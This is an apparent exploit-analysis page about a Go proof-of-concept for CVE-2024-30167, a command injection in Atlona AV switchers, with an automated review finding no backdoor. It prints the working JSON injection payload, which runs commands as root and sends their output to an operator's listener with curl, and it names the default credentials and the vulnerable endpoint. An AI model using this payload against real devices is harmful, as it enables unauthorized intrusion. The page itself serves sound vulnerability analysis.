RIZZZIOM/CVE-2024-30167

GitHubRepository PoCExploit

PoC files

3 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

GitHub
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

Go-based authenticated remote command injection exploit targeting Atlona AT-OME-RX21 AV switcher firmware <= 1.5.1 via the /cgi-bin/time.cgi endpoint. The code sends a crafted JSON payload with a command injection in the serverName parameter, starts a local HTTP listener to receive command output, and executes arbitrary OS commands as root.

Backdoor review

No backdoor observed in reviewed code

The repository contains a Go-based proof-of-concept (PoC) for CVE-2024-30167, an authenticated command injection vulnerability in Atlona AV switchers. The code sends a crafted JSON payload to the target's /cgi-bin/time.cgi endpoint, injecting a command that exfiltrates output to a listener controlled by the operator. All behavior is consistent with the stated exploit purpose: no concealed backdoor, persistence, credential theft, or unrelated payload was observed.

ClassificationExploit
Model confidence98%
AuthenticationRequired
LanguagesGo
Target softwareAtlona AT-OME-RX21
Attack typescommand injection
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The code actively exploits the vulnerability by sending a crafted payload that injects and executes an arbitrary OS command on the target, and then retrieves the output. This is not merely checking for the vulnerability; it performs the full exploitation chain.

main.go:95-134main.go:136-157

Requirements

  • Valid credentials for the target Atlona device (default admin:Atlona).main.go:41-42
  • Network access to the target device's /cgi-bin/time.cgi endpoint.main.go:54
  • Attacker must run a listener reachable by the target to receive command output.main.go:44

Observed behavior

  • Constructs a JSON payload with a command injection in the serverName field, appending a curl command that POSTs the output of the attacker-supplied command back to the attacker's listener.main.go:97
  • Sends the payload via HTTP POST with Basic authentication to the target's /cgi-bin/time.cgi.main.go:98-106
  • Starts an HTTP server on the attacker-controlled host and port to receive the command output from the target.main.go:159-185
  • Prints the received command output to stdout.main.go:143-150
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Command Injection Payload
{"syncSntpTime":{"serverName":"time.google.com; curl -X POST --data \"$(%s)\" %s"}}The payload injects an operator-supplied command into the serverName parameter and exfiltrates the output via curl to a listener host:port specified by the operator.main.go:97
Listener
HTTP server on operator-controlled host:portThe PoC starts an HTTP server to receive the command output sent by the compromised target. This is standard for blind command injection exploits.main.go:159-185
Authentication
Basic authentication with operator-supplied credentials (default admin:Atlona)The exploit uses HTTP Basic authentication to access the vulnerable endpoint, consistent with the CVE description of an authenticated command injection.main.go:98-105
Review boundaries

What the analysis did not establish

  • Evidence consists of complete source code and README; no binary or opaque content. No execution or dynamic analysis was performed.
  • Only the three text files (README.md, go.mod, main.go) were reviewed; no binary artifacts were present or analyzed.
  • The review does not assess whether the exploit works as claimed or whether the target device is actually vulnerable.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

1